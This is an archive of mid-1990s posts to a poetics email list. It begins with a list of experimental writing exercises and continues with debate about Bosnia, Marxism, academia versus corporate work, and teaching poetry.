2. Homophonic translation: Take a poem in a foreign language that you can pronounce but not necessarily understand and translate the sound of the poem

into English (ie French "blanc" to blank or "toute" to toot). [Cf Louis and Celia Zukofsky's Cattulus]. (Rewrite to suit?)

3. Lexical translation: Take a poem in a foreign language that you can pronounce but not necessarily understand and translate it word for word with the help of a bilingual dictionary. (Rewrite to suit?)

4. Acrostic Chance. Pick a book at random and use title as acrostic key phrase. For each letter of key phrase go to page number in book that corresponds (a=1, z=26) and copy as first line of poem from the first word that begins with that letter to end of line or sentence. Continue through all key letters, leaving stanza breaks to mark each new key word. [cf: Jackson Mac Low's Stanzas for Iris Lezak.] Variations include using author's name as code for reading through her or his work, using your own or friend's name, picking different kinds of books for this process, devising alternative acrostic procedures.

5. Tzara's hat. Everyone is a group writes down a word (alternative: phrase, line) and puts it in a hat. Poem is made according to order it is randomly pulled from hat. (Solo: pick a series of words or lines from book, newspapers, magazines to put in the hat.)

6. Burrough's Fold-in: Take two different pages from a newspaper or magazine article, or a book, and cut the pages in half vertically. Paste the mismatched pages together.

7. General cut-ups: Write a poem composed entirely of phrases lifted from other sources. Use one source for a poem and then many; try different types of sources: literary, historical, magazines, advertisements, manuals, dictionaries, instructions, travelogues, etc.

8. Cento: write a collage made up of full-line of selected source poems.

9. Substitution (1): "Mad libs". Take a poem (or other source text) and put blanks in place of three or four words in each line, noting the part of speech under each blank. Fill in the blanks being sure not to recall the original context.

10. Substitution (2): "7 up or down". Take a poem or other, possibly well-known, text and substitute another word for every noun, adjective, adverb, and verb; determine the substitute word by looking up the index work in the dictionary and going 7 up or down, or one more, until you get a syntactically suitable replacement. (Cf: Clark Coolidge and Larry Fagin, On the Pumice of Morons.)

11. Serial sentences: Select one sentence each from a variety of different books or other sources. Add sentences of your own composition. Combine into one paragraph, reordering to produce the most interesting results.

12. Alphabet poems: make up a poem of 26 words so that each word begins with the next letter of the alphabet. Write another alphabet poem but scramble the letter order.

13. Alliteration (assonance): write a poem in which all the words in each line begin with the same letter.

14. Doubling: Starting with one sentence, write a series of paragraphs each doubling the number of sentences in the previous paragraph and including all the words used previously. [cf: Silliman's Ketjak]

15. Collaboration: Write poems with one or more other people: alternating lines (chaining or renga), writing simultaneously and collaging, rewriting, editing, supplementing the previous version. This can be done in person, via e-mail, or through "snail" mail.

16. Group sonnet: 14 people each write one ten word line on an index card. Order to suit.

17. Write a poem trying to transcribe as accurately as you can your thoughts while you are writing. Don't edit anything out. Write as fast as you can without planning what you are going to say.

18. Dream work: Write down your dreams as the first thing you do every morning for 30 days. Appply translation and aleotoric processes to this material. Double the length of each dream. Weave them together into one poem, adding or changing or reordering material. Negate or reverse all statements (I went down the hill to I went up the hill, I didn't to I did). Borrow a friend's dreams and apply these techniques to them.

19. Write a poem made up entirely of neologism or nonsense words or fragments of words. [cf: Lewis Carroll's "Jabberwocky", Khlebnikov's Zaum, Peter Inman's Platin, David Melnick's Pcoet.]

20. Write a poem with each line filling in the blanks of "I used to be ----- but now I am -------". (I used to write poems, but now I just do experiments; I used to make sense, but now I just make poems.)

21. Write a poem consisting entirely of things you'd like to say, but never would, to parent, lover, sibling, child, teacher, roommate, best friend, etc. etc.

22. Write a poem consisting entirely of overheard conversation.

23. Nonliterary forms: Write a poem in the form of an index, a table of contents, a resume, an advertisement for an imaginary or real product, an instruction manual, a travel guide, a quiz or examination, etc.

24. Imitation: Write a poem in the style of each of a dozen poets who you like and dislike: try to make it as close to an forgery of a "unknown" poem of the author as possible.

25. Write a poem without mentioning any objects.

26. Backwards: Reverse or alter the line sequence of a poem of your own or someone else's. Reverse the word order. Rather than reverse, scramble.

27. Write an autobiographical poems without using any pronouns.

28. Attention: Write down everything you hear for one hour.

29. Brainard's Memory: Write a poem all of whose lines start "I remember ..." [Cf. Joe Brainard's I Remember.]

30. "Pits": Write the worst possible poem you can imagine.

31. Write a poem while listening to music; switch types of music.

32. Write a poem just when you are on the verge of falling asleep. Write a line a day as you are falling asleep or waking up. (Cf: Silliman's Circle-R.)

34. List poem: write a poem consisting of favorite words or phrases collected over a period of time; pick your favorite words from a particular book.

35. List poem 2: write a poem consisting entirely of a list of "things", either homogenous or heterogenous (common lists included shopping lists, things to do, lists of flowers or rocks, lists of colors, inventory lists, lists of events, lists of names, ...).

36. Chronology: made up a list of dates with associated events, real or imagined.

37. Transcription: Tape a phone or live conversation between yourself and a friend. Make a poem composed entirely of transcribed parts.

38. Canceling: Write a series of lines or rhymes such that every other one cancels the one before ("I come before you / to stand behind you").

39. Erasure: Take a poem of your own or someone else's and cross out most of the words on each poem, retype what remains as your poem. [cf: Ronald Johnson's RADI OS from Milton.]

40. Write a series of ten poems going from one to ten words in each poem. Reorder.

41. Write a poem composed entirely of questions.

42. Write a poem made up entirely of directions.

43. Write a poem consisting only of opening lines (improvise your own lines, then use source texts).

44. Write a poem consisting only of prepositions, then of prepositions and one other part of speech.

45. Write a series of eight-word lines consisting of one each of each part of speech.

46. Write a poems consisting of one-word lines; write a poems consisting of two-word lines; write a poems consisting of three- word lines.

47. Synchronicity: Write a poem in which all the events occur simultaneously.

48. Diachronicity: Write a poem in which all the events occur in different places and at different times.

49. Visual poetry: write poems with a strong visual or "concrete" element--including combination of lexical and nonlexical (pictorial) elements, play with alphabets and typogaphy, placement of words on the page, etc.

50. Write a series of poems or stanzas while listening to music; change type of music for each stanza or poem.

51. Elimination: cut out the second half of sentences.

52. Excuses list: write a poem made up entirely of excuses (e.g. Terry Winch's "Excuses")

53. Sprung Diary: write a diary tracking and intercutting multiple levels of thoughts, exeriences, anticipations, expectations, from minute to major. (Cf. Hannah Weiner's Clairvoyant Journal.)

53. Make up more experiments

Remember: Poems can be in prose format!

Rewrite and recombine, collage, splice together the material generated from these experiments into one long ongoing poem!

-- Compiled by Charles Bernstein from Bernadette Mayer & workshop's Experiments list, and various other sources 1/90, 6/93. (C) 1994 by Poets' Ludicrously Aimless Yearning (PLAY). Dispense only as appropriate and under the supervision of an attending reader. Individual experiments are not liable for injury or failure resulting from improper use of appliance. Any profits accrued as a direct or indirect result of the use of these formulas shall be redistributed to the language at large. Management assumes no responsibility

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60. Jeffrey Timmons
Re: Exile on Main Street
Tue 6 Dec 1994

On Tue, 6 Dec 1994, Marjorie Perloff wrote:
>
> Anyway, I am more grateful to K. than I can say. I was just about to
> give up, after reading the really frightening exchange on vulgar Marxists
> versus Chardonnay Marxists and other similar items. This is not an issue
> of yet again discussing "late Monopology capitalism," now a fact of life
> around the globe anyway, but to discuss what to do about Nationalist and
> religious wars that practically recall the Crusades, not to mention Hitler.
> It's not a question of whether Bosnia is in our "sphere of interest" but
> what will happen if we don't intervene now--and should have intervened
> years ago. . . . Is this our concern? Well, was Chkekoslovakia our
> concern in 1939? Poland? do we really not care what happens in Europe?
>
> Can we do anything? Yes, first of all inform yourselves (thank you
> Kathryne for the list) and stop talking about our own petty little
> concerns in the university or whether or not Imamu Baraka deserves $5,000
> and write to our congressmen, draft ad campaigns, etc. This is REAL not
> one more hypothetical debate between various Marxisms.

Yes, yes, yes, yes and what I was interested in was if we (those who are members of the list and the artistic/intellectual community) might be able to speak in some sort of larger-than-single voice on the issue. I can write my congressman, etc, but isn't it important that my voice be represented as not simply alone in saying these things? I abhor the way we have all stood by and allowed people to be shelled as a matter of daily course and prevented Bosnia from defending itself without saying this is a lame way to conduct human affairs. But I want to join my voice to others in order that it have more effect than speaking alone. I would like to join my name (for what its worth) to a list of creative persons, academic sorts, who recognize the need to speak collectively about this situation in order to draw attention to it. I would only add that the discussions of marxism are important--as everything else discussed--precisely because in sorting out these matters and differences between ourselves we identify where we can speak together or not. Marjorie Perloff raised the issue--what can we do--and we have discussed it. This is a good thing, though, of course limited, but I don't want to renounce the discussion as

"hypothetical"--especially if it has some REAL outcome. Is it now happening? Having said all this I'd like Kat to append the list of persons in England (or whereever) who are active in this issue, as well of the lists of internet resources she knows about on Bosnia. She could send to me or, better, the list as a whole.

Jeffrey Timmons

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61. Jeffrey Timmons
Re: vulgar marxism
Tue 6 Dec 1994

On Mon, 5 Dec 1994, Paul Hoover x350 wrote:

> *I thought someone might comment on Baraka's "vulgar marxism." Interesting phrase, "vulgar marxism," suggesting that its basic concepts are to be discredited because we are now so much more sophisticated. Do you imagine that the economic base is NOT a dominant concern? That the United States, along with G7 (the only "G" force that really matters, with regard to G1/G2 discussion) does NOT manage world affairs?*

No, no, no--I don't think marxism's concepts are "discredited" because we are more sophisticated, but because the systems of capital more complex than when Marx conceived the relation of base/superstructure. And, no, I don't imagine that the economic base is not a dominant concern, just that I want to move away from deterministic conceptions of the relations between different spheres of cultural production. I like Gramsci's model. Yes, I agree with you on these points, but I don't want to be reduced to acting always in syncronicity with some economic determinism, you know? Ya, ya. Thanks for lettering me clarify.

Jeffrey Timmons

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62. Robert A Harrison
Re> Re: Out/onomous
Tue 6 Dec 1994

------ From: UB Poetics discussion group, Tue, Dec 6, 1994 ------

> *I work within the university because it allows me freedom (no matter how limited or limiting) to think in ways that seem "oppositional"--whereas if I worked at a job for a company I would have to think what it wanted me to.*

hmm. I read the UB Poetics list and write every day while working for a major corporation. I don't like working for a corporation any more than anyone else,

and, I sure don't think what they want me too ALL the time. Not even most of the time. Sometimes not for whole days on end, pushing weeks. As Kit Robinson has pointed out, there's an art to "exercising the wig."

Please tell me there are more people who think that there're more ways than academia and business to make a living.

Bob Harrison

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63. eric pape
Re: Exile on Main Street
Tue 6 Dec 1994

Rodger's point, earlier, was an important one. Up to now we've been assuming that there is only one kind of capital, ie cash. That might be all there is, bottom line, but Pierre Bourdieu (I don't know much about his personal life; if he abuses barnyard animal I am sorry for using him) writes: Thus, at least in the most perfectly autonomous sector of the field of production, where the only aundience aimed at is other producers (as with Symbolist poetry_, the economy of practices is based, as in a generalized game of 'loser wins', on a systematice inversion of the fundemental principle of all ordinary economies: that of business (it excludes the pursuit of profit and does not guarantee any sort of correspondence between investments and monetary gains), that of power (it condemns honours and temporal greatness), and even that of institutionalized cultural authority (the absence of any academic training or consecration may be considered a virtue). And further on: In other words, the field of cultural production is the site of struggles in which what is at stake is the power to impose the dominant definition of the writer and therefore delimit the population of those entitled to take part in the struggle to define the writer.

While Bourdieu is certainly writing about the French poetry community, there may indeed be similarities between that and the, for lack of a better term the American avant garde. Not that there isn't problems. The good thing is that it demystifies the claim of the avant garde to special authority due to their lack of authority. The bad thing is that it really doesn't tell us anything we didn't already know --About the conflict between theory and praxis: I have a great deal of sympathy for both. But ultimately theory has to articulate itself as praxis; in poetry or in politics, it has to be done. Thanks, Eric ([redacted])

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64. James Sherry
Re: Out/onomous
Tue 6 Dec 1994

I would voice support of Sandra Braman's tentative foray into describing the issues in terms of dynamical systems methods rather than the polar inside/outside criteria which discussion fell around previously. The notion that we can define an internal order to turbulence is fundamental to much of our poetics positioning. The metaphors of dirty hands and burning buildings are to say the least inflammatory and being derived from experience carry all the risks of a theory based on memory rather than a coherent analysis from which poetry can deviate, become chaotic, and as conditions change return to the order of which we speak. These states participate in a continuum rather than as a polar switch. They are digital, not analog, and open more doors than they close, which for me at least seems an good place to start.

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65. Robert Drake
Re: Exile on Main Street
Tue 6 Dec 1994

> *Yes, yes, yes, yes and what I was interested in was if we (those who are members of the list and the artistic/intellectual community) might be able to speak in some sort of larger-than-single voice on the issue. I can write my congressman, etc, but isn't it important that my voice be represented as not simply alone in saying these things?*

my sister served as an intern in our (ex)Congresswoman's office--according to her, _10_ letters in one direction or another served as a significant influence on that legislator's perception of her constituent's wishes. tho it might make _you_ feel more effective to ally yourself with others in voicing an opinion, don't underestimate the influence of your own individual voice. the "religious" right doesn't.

(the above is _in no way_ to be misconstrued as an opinion, held by m'self, that the regular channels of "our" "democratic" "institutions" can, by themselves, be sufficient to effect meaningful institutional change.)

xxoo

luigi

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66. **James Sherry**
Re: Exile on Main Street
Tue 6 Dec 1994

Yes Rodger, I agree, we can be no kinder to ourselves than to the past and we must be as thorough critiqing our own positions and politics as we are in analyzing those of our opposition in the poetry or political world. Oppositional politics must be exposed as an expression of misplaced psychology. We are wasting our time as on religion if we persist in trying to universalize our morality about how good we are if we don't "dirty" our hands.

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67. **George Bowering**
Re: The Advert-Garde
Tue 6 Dec 1994

The avant-garde is bound to fall faster than the main body of troops. They are the quickest ears and eyes, but they are alone in enemy territory. The true avant garde is sacrifivcial.

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68. **James Sherry**
Re: Exile on Main Street
Tue 6 Dec 1994

To Robert Drake's note, YES, political influence is easier than we think. Think 10 letters influenced a vote. Democracy is about institutions that can carry multiple individuals. We need more than individuals, we need society to operate. Reducing reality to a war of individual points of view supports the right. Maggie Thatcher said, "There is not society, only individuals." The state directly controlling each individual is now a real possibility. We need our institutions to increase the masses mass. Apologies for the polemics, but...

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69. **George Bowering**
Re: Punk
Tue 6 Dec 1994

Was Punk at one time something other than entertainment?

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70. George Bowering
Re: Benjamin/Bryher
Tue 6 Dec 1994

& Mike, etc., do you remember why Bryher and H.D. snubbed Jung when they encountered him walking on the street in that little suburb, what's it called, of Zurich? My Jung friends tell me that they were not enough informed re his name's being on the pan-German psychiatric board whatever it was called. I dont know.

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71. Mn Center For Book Arts
Re: Exile on Main Street
Tue 6 Dec 1994

Jeffrey Timmons writes, "I would like to join my name (for what its worth) to a list of creative persons, academic sorts, who recognize the need to speak collectively about this situation in order to draw attention to it." I think a lot of our legislators would rather hear from a bunch of single constitutents rather than a list of creative, academic sorts. Both actions are worthwhile, but don't not do the single voice writing or calling. I know from experience that senators & congresspeople (& it's most important to call your local ones, for whom you are the constituent) actually do count calls & letters & keep tabs & sometimes (no, not always) it's those numbers that sway their vote or can even make them speak on the floor. That's why Working Assets giving free phone calls to them actually can help, Tenney. I know it all sounds too simple, but my goodness, let's not look for reasons not to call or write such people. They need to know that there's a radical mainstream experimental poetics group which cares about Bosnia, too.

charles alexander

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72. George Bowering
Re: politics
Tue 6 Dec 1994

I think that Hoover is right when he says that nothing will happen in Bosnia until trade is threatened (presumably for thge US). One also notices that the US is slow to go to war with Eurowhite folks. Small Caribbean countries, okay. 1914? nah. 1939? nah. Middle east places, why not? Native Americans? sure. Indochina? bomb 'em. `

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73. Ron Silliman
The National Question, etc.
Wed 7 Dec 1994

There have been more thoughtful, interesting messages on the list in the past 48 hours than any person could ever respond to, but here are a few thoughts in a strictly reactive mode:

It was great to hear Marjorie praise Kat Lindeberg's Balkan reading list while getting a (yet another) dig in at Marxism, given that the sources in KB's bibliography show a decided bent toward what I'd (very loosely) call the post-Trotskyist tradition (Against the Current, New Left Review). Excellent publications both (tho my two eye operations have really made NLR's 8 point type a chore the past few years, so I'm not as rigorous a reader as I once was there). As a fellow traveler of the post-Trots, I've always thought that their critique of Stalinism set them up to survive the collapse thereof with the least self-doubt. And generally it's been true, even in the former Soviet Union where Boris Kagarlitsky got elected to the Moscow city council.

But Marjorie is right in her assertion that the National question is the most pressing (and depressing) issue facing us at this moment. Robert Schaeffer (onetime editor of Nuclear Times, now at San Jose State I believe) wrote a book that I read in manuscript back in the mid-80s on self-determination (a concept "discovered" more or less simultaneously by Lenin & Woodrow Wilson, both for tactical [if not overtly opportunistic] grounds--partition, with all its consequences, has been a major political tool ever since. One of the proponents for Prop 187 here in California (our own modest attempt at "ethnic cleansing") made an interesting comment on the radio the other day that "without borders, we'd be nothing, just an amorphous blob." That resonates so clearly with all the rhetoric of identity politics from the past 15 years as to turn my stomach. (Identity politics, Marjorie, IS vulger Marxism at its worst. Its characteristic chant--"the people united"--is ironic without self-knowledge. And it has been the disaster that the left in the US has not understood how to handle, guilt-ridden honkies that we are.)

On the contrast between working for a burger joint and a university for intellectual freedom: if Davidson & Gelpi calling three brands of academic verse the "major trad. of the 1970s and '80s" isn't an instance of "thinking the boss's thought" I don't know what is. Does nobody out there have horror stories about the constraints placed on their work for orals or the dissertation? The sole difference might be that the burger worker is less apt to CARE about the subject for which his/her brain is being retooled. (Steve Farmer might well disagree with this, but then Steve doesn't cook for burger joints.)

Working in corporations has certainly deepened my understanding of/commitment to a Marxian (as distinct from Marxist) discourse. The entire high tech industry is driven wildly by perceptions of the falling rate of profit (watch printer prices in 1995, or PC prices in the next 3 months--those are going to throw people out of work) and Kondratieff waves and social structures of accumulation are precisely what the transformation from an industrial to an information services economy is about.

Bill Gates is still G2, about Ben Friedlander's age, younger than Michael Basinski if I reckon right. The guy who wrote Mosaic, the primary internet interface, has just turned 23. And some of the best Web linkage sites are being done by teenagers. The internet is "always already" an expression of post-GATT consciousness. The same principle that puts Tony Green and Wystan Curnow at our fingertips puts Mexican labor just seconds away. We're taking the touch costs out of more than just poetry.

The price of influence has gone up from what Luigi-Bob says. When I worked as a lobbyist in the mid-70s, most legislators in California used to divide up (literally into shoe boxes) letters on each issue. First divide was in-district vs. out. Out never got read. Then in-district & out were counted. A postcard was typically given a weight of 4 (i.e., 4 people would likewise feel strongly in the district for each card) and letters were given a weight of 7. Every pol knows what their district is communicating. If you read the disclaimers of the congressional email project, for example, you will note that the first thing they want to know is your physical location since, unless you are writing from something like a school account, they can't tell where you live. Our boy Newt, former college professor that he is, plans to get all of congress up on the internet next year. So while I'm totally cynical about electoral politics (in this "democracy," the equation is really one dollar one vote), I agree that all forms of participation have some relative value.

Steve Evans' comments about dirty hands are well taken. Though his are as covered with blood as mine. I think that there is NO comparison to be made when it comes to reading about the economy and the behavior of corporations versus participating on a daily basis, particularly if you are in a position where you can see both the micro decision-making and the macro effects. Tom Peters can tell you much more about capitalism than Andrew Ross, I'm afraid.

There is also real value in participating in a community (as any job site is) in which the majority of people do NOT presume to be intellectuals. Where people are at least as apt to read the Koran or the Bible or the latest Tony Robbins infomercial best-seller on their lunch breaks as they are cyberpunk or Representations.

The biggest problem with the university is not that it's not full of interesting, intelligent people, but that it's isolated and insulated -- and has an unbelievably stratified caste system between faculty, students and staff (hospitals and the military are the closest approximations to this).

The entire tenure/specialisation process has one thing quite remarkable about it (that Lyotard only gets half right in his characterization of paralogy in the PostModern Condition): everybody is perpetually in competition with one another to differentiate themselves. Cooperation in too many academic settings occurs ONLY IN COMMITTEES, and we know just how reviled committee work is. Even in the worst of corporations, there is a general collaborativeness, whether it is to make the well-wrought Saturn or to get stock to turn 7 times per year instead of 6 in a widget store.

Since the late 1960s, the academy has become increasingly an economic backwater--probably because it once for a moment seemed all too powerful and present--and I think the whole educational system is heading for a crash that will make the demise of Texas oil and Pennsylvania steel, say, look like a picnic. The prominance given to such "academics" as Gingrich and Gramm (both professors a few years back), Bill Bennett, John Silber, Lamar Alexander (running for Prez no less), the late Alan Bloom, the authors of The Bell Curve, Camile Paglia et al suggests a pretty tawdry state. Lingua Franca makes no pretense about its role as the National Enquirer of this domain, but the Chronicle of Higher Education has just figured out a better mode of drag (sort of the Victoria's Secret to LF's Fredericks of Hollywood).

One can operate oppositionally in ANY of these settings. If one knows where one is positioned (both personally and institutionally). But I'm always startled at how clueless many academics seem on that point.

And that's where the national question, which is murderously re-emerging everywhere, has me wondering tonight. ((This troubles me completely: I'd use "oppositionality" where others would the avant-garde or experimentation to identify my own sense of tradition, but that word Op- Position has exactly that counter thrust of border creation that I find so suspicious or flagrantly dangerous in every other instance. So I find myself at the crux of a dilemma. I don't have the answer.))

Ron

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74. Alan Sondheim
The Very Best Writer
Wed 7 Dec 1994

I would appreciate it if someone could send my condolences to Bernadette.

I miss her voice terribly. We never ever got along, but her writing was an enormous influence on me, especially works like Utopia, Studying Hunger, Memory. They're some of the few books I keep returning to over and over and over again. I've never read anything like the latter, before or after, not even Kathy's work which also owed a lot I think to Bernadette.

I have no money I can send on for the fund. I wish I could turn the world upside-down for her.

Terrible.

Alan

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75. braman sandra
Re: Exile on Main Street
Wed 7 Dec 1994

Re Eric Paper's comments on capital -- it has long been a problem of, let's call it, chewing-gum Marxism, that it grossly oversimplifies the notion of capital, which has always had multiple and shifting referents. In the mercantilist period it was amazing to some that folks would think wealth might actually be equated with that stuff, money. One feature of the information economy is emergence of new forms of capital -- intellectual capital, the cultural capital Pape and Bourdieu refer to, and information capital. Here poets are rich. Sandra Braman

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76. Michael Boughn
Re: Snubbed
Wed 7 Dec 1994

George:

I can't say why they snubbed Jung, but I suspect it had less to do with international politics than with psychoanalytic politics. Their devotion to Freud was intense and personal. And they perceived the psychoanalytic movement, as it was called, as bearing the same kind of millennial burden someone now might attribute to something called, say, post-Trotkyism.

It's strange because in some ways H.D.'s thinking, anyway, is finally closer in many ways to Jung's than Freud's. And H.D. always perceived her self as heretical. Still, Jung was the bad son of The Master they loved.

But this, of course, is all speculation. It may be somewhere in the correspondence, but I haven't seen it.

Best,
Mike
[redacted]

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77. Mark Wallace
Eagleton and social control
Wed 7 Dec 1994

Someone sent a message recently quoting Terry Eagleton on (to paraphrase) the powerlessness of art in the face of the actual control of resources by a particular class.

Can whoever wrote that in quote it to me again, and/or tell me where I can find it?

I have a bad habit of not knowing what I'm going to find useful until I no longer know where to find it.

Thanks.

mark wallace

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78. Michael Boughn
Re: experiwhat
Wed 7 Dec 1994

Dear Charles B:

That's quite a list of experiments! It reminds me of Kenneth Koch's techniques for eliciting poems from kids in school workshops, though obviously more extenisve and geared toward technical issues. I guess I always had a bit of a problem with the "put a different color in every line" school of writing when I was doing workshops. While the results are spectacular in some sense, my own sense of what writing could do for the kids in that situation was somewhat different. That is, rather than focussing on language as medium and its extraordinary possibilities, I always felt more attracted to the problems of articulation and choice in relation to the kids' lives.

I remember a 5th grader in a class at School 4 in Buffalo (that's in the middle of the Perry Projects on the upper south side) coming up to me after my rap to them that they *were* poetry, that poetry was their lives if only they could find the words they needed, that every detail of their lives was suitable for this language. He was defiant, and smart assed, and said with a sneer that he was going to write a poem about hanging in the park listening to Niggers with Attitude, expecting me to draw some line. Which I didn't. So he actually had to think about it and write it. It wasn't bad, either. He decided finally, on his own, for reasons he never explained to me, to change Niggers with Attitude to NWA. For better or for worse, it was a choice, one that to me with my somewhat antiquated views on poetry seems somehow more significant than whether to put red or green in a particular line. Ditto with the 6th grade kid at Red Jacket Academy who wrote about "Old men with big 20 gallon / bottles of E & J or Easy Jesus / wearing big clunk master boots / with no toe." (Jeez, I love that) And a hundred others I could quote.

It always seemed to me in those situations that the kids had so much to gain from poetry. Call it the world. Or a world, anyway. An entrance. Maybe that's partly why I feel the way I do about "experimentalism", that it seems to me to step around those difficulties in favor of some other, more formal ones.

Best,
Mike

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79. Chris Stroffolino

Re: prayer

Wed 7 Dec 1994

Well, are we against school prayer or what? "I would only be against prayer if they didn't pick MY prayer." So, I was teaching Ashbery's "Morning Jitters" and brought up the possibility that one of the main reasons Ashbery used the for "preached at" by a poet anymore--and so he had to create these ironic forms to be able to have his didactic cake and eat it to, as it were--a chaser, etc... And so I brought this up to my class, and a student (one who loved Silliman's MICROSOFT BUYS CATHOLIC CHURCH, by the way) said "THIS SUCKS, THIS SUCKS,I HATE BEING PREACHED TO" and then we had a moment of silence but only because time was up.

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80. Michael Boughn
Re: thugs
Wed 7 Dec 1994

I'd be interested in hearing more about Marjorie Perloff's theory that Serbs are "thugs". Is this a fixed category associated with certain nationalities? Does it change over time? Were, say, Croats "thugs" 50 years ago, but now not "thugs"? Have Bosnian Muslims ever been "thugs", or have they always been--what is the opposite of "thug"--"nice", "peaceful", "friendly"? Good, in any case. Were all Germans "thugs" in the same way all Serbs are "thugs", or was it only memebers of the National Socialist Party? What is the neo-Trotskyist line on this question?

Mike Boughn
[redacted]

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81. Chris Stroffolino
Re: prayer
Wed 7 Dec 1994

As for those who accuse Hoover/Baraka of VULGAR MARXISM--What is this VULGAR MARXISM, any Marxism that remembers that the ECONOMIC is the REAL BASE ISSUE????? Well then certainly VULGAR Marxism is preferable to much of the obfuscating poetic/theory discussion that has dominated here for some time now...NOT THAT I MIND obfuscation (the noise of culture) per se--but when it PASSES ITSELF OFF as a revolutionary socio-political strategy then.... Besides, this weird hybrid of say Bertolt Brecht and ....(I'll save that harangue for another time). Chris Stroffolino

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82. Alan Sondheim
Re: thugs
Wed 7 Dec 1994

I'm glad you have the space to carefully consider these categories.

Alan

On Wed, 7 Dec 1994, Michael Boughn wrote:

> *I'd be interested in hearing more about Marjorie Perloff's theory that Serbs are "thugs". Is this a fixed category associated with certain nationalities? Does it change over time? Were, say, Croats "thugs" 50 years ago, but now not "thugs"? Have Bosnian Muslims ever been "thugs", or have they always been--what is the opposite of*

> *"thug"--"nice", "peaceful", "friendly"? Good, in any case. Were all Germans "thugs" in the same way all Serbs are "thugs", or was it only memebers of the National Socialist Party? What is the neo-Trotskyist line on this question?*
>
> *Mike Boughn*
> [redacted]

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83. **Kit Robinson**
Re: Streaming
Wed 7 Dec 1994

Reply to: RE>Streaming

Date: 12/7/94 5:47 PM
To: Kit Robinson
From: UB Poetics discussion group
Some scattered thoughts are streaming after the following:

MERZ. Some advantages of working in the rough & tumble business world -- a more cooperative model for getting work done, greater diversity in the working population, and a compelling sense of making it up as you go along (i.e., that which is being TstudiedU is identical to that which is Tbeing madeU). Plus thereUs a lot of great non-poetic material out here, which as we know is good tonic for reviving boring old literature. This is not career counseling.

IDs. I agree with Rodger that much of the discussion of politics and group identity seems motivated more by a desire for positive self-identity and recognition than for political efficacy.

.EDU/.COM. I wonder if there isnUt a kind of town & gown psychology at play in speculation about the life of poetry inside & outside academia. Now that more and more of us .com guys are joining yUall .edu guys on the Net, I wonder how thingsUll change. At least itUs a way to talk over quadrangle walls. I donUt know how long IUll be able to deal with all these messages though -- just reading Uem -- (my time is billable).

PUNK. The point of punk was that these people said fuck you to the established commercial channels, creating their own scenes, producing on their own labels, etc. It was entertainment, sure, and never really threatened the power, I agree, but at least it had some energy. Of course, punk was tailor-made for recuperation (see Malcolm McClaren). Hip hop is a similar case in point. The

point is local (in the current instance, multi-local) self-regulated activity may have half a chance to produce more than more of the same.

EXPERIMENTS. From my teaching days, IUd agree with Michael Boughn that the value of form lies as a tool to tap into content. I used to propose a formal exercise linked to an sample text then let the students run with it. The payoff was not in the skillful manipulation of form but in how the forms enabled the students to access areas of content that were meaningful to them -- much more so, I believe, than if they had been assigned to write RaboutS specific subjects, their feelings, etc.

Kit Robinson

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84. Jeffrey Timmons

Re: The National Question, etc.

Wed 7 Dec 1994

On Tue, 6 Dec 1994, Ron Silliman wrote:

> *Since the late 1960s, the academy has become increasingly an economic backwater--probably because it once for a moment seemed all too powerful and present--and I think the whole educational system is heading for a crash that will make the demise of Texas oil and Pennsylvania steel, say, look like a picnic. The prominance given to such "academics" as Gingrich and Gramm (both professors a few years back), Bill Bennett, John Silber, Lamar Alexander (running for Prez no less), the late Alan Bloom, the authors of The Bell Curve, Camile Paglia et al suggests a pretty tawdry state. Lingua Franca makes no pretense about its role as the National Enquirer of this domain, but the Chronicle of Higher Education has just figured out a better mode of drag (sort of the Victoria's Secret to LF's Fredericks of Hollywood).*

Yes, perhaps, but doesn't Gringrich's, Gramm's, Paglia's, et al's, prominence and presence in popular/political culture suggest the vital interrelation (largely in a sense that is disturbing to me, being as their politics are detestable) of academia and the rest of the world? I don't disagree that the university is in trouble, but it's because education as other than vocational training is highly unpopular not only with students but the those that pay for education at the state/federal levels. What place is there for art if education is meant to "train" the student a job? The place such "academics" as Newt et al is precisely an indication of the power and ability (used regressively) such institutions still manifest in the "isolated" and "insulated" "backwater" status. I largely agree with Ron's comments, but somehow his comments about academia remind me too much of the Republicans attacks on the "establishment" of Washington DC--an establishment and set of practices they are very much a part of--particularly

as they portray it as something "out of touch" with the rest of America. I don't want to speak for anyone besides myself, but I am not simply an academic. I play many roles in my own life and act in many different dramas--all of which connect me to the rest of the world. My "academic" role is vitally connected to my other roles, particularly my role as a citizen, a member of the polis. Yes, our roles are increasingly isolated, but academics are neither more nor less isolated or "redundant" than any other "occupation." Maybe even less so. All I want to claim is that while all "occupations" compel one to think for them at least . . . I experience my own sense of being able to set the agenda more for myself here than anywhere I have hitherto worked.

Jeffrey Timmons

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85. Jeffrey Timmons
Re: thugs
Wed 7 Dec 1994

On Wed, 7 Dec 1994, Michael Boughn wrote:

> *I'd be interested in hearing more about Marjorie Perloff's theory that Serbs are "thugs". Is this a fixed category associated with certain nationalities? Does it change over time? Were, say, Croats "thugs" 50 years ago, but now not "thugs"? Have Bosnian Muslims ever been "thugs", or have they always been--what is the opposite of "thug"--"nice", "peaceful", "friendly"? Good, in any case. Were all Germans "thugs" in the same way all Serbs are "thugs", or was it only memebers of the National Socialist Party? What is the neo-Trotskyist line on this question?*

"Thugs" are those that sit on hills above a city and shell children playing soccer, turning the field into a cemetary; "Thugs" are those that refuse UN safe passage to isolated area in order to feed people unable to gather food because of a war; "Thugs" are those that kidnap UN troops as "insurance" against NATO bombings; "Thugs" are those snipers who patiently wait for 11-year-olds to cross their paths. You know them, I know them, is there really any need to clarify this?

Jeffrey Timmons

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86. Alan Golding
Re: Exile on Main Street
Wed 7 Dec 1994

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Eric:

If you get caught being sympathetic to abusers of barnyard animals, think of the good company you'll be in--see Olson, "There Was a Youth Whose Name Was Thomas Granger."

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87. Jeffrey Timmons
Re: prayer
Wed 7 Dec 1994

On Wed, 7 Dec 1994, Chris Stroffolino wrote:

> *As for those who accuse Hoover/Baraka of VULGAR MARXISM--What is this VULGAR MARXISM, any Marxism that remembers that the ECONOMIC is the REAL BASE ISSUE????? Well then certainly VULGAR Marxism is preferable to much of the obfuscating poetic/theory discussion that has dominated here for some time now...NOT THAT I MIND obfuscation (the noise of culture per se--but when it PASSES ITSELF OFF as a revolutionary socio-political strategy then.... Besides, this weird hybrid of say Bertolt Brecht and ....(I'll save that harangue for another time). Chris Stroffolino*

Yo, vulgar marxism is a model of the relations between the base and superstructure where the economic base determines the superstructure. It's a model marxists have come to distrust for a number of reasons--largely because it is too deterministic and reductive of the complexity of systems of production at present. Any other questions?

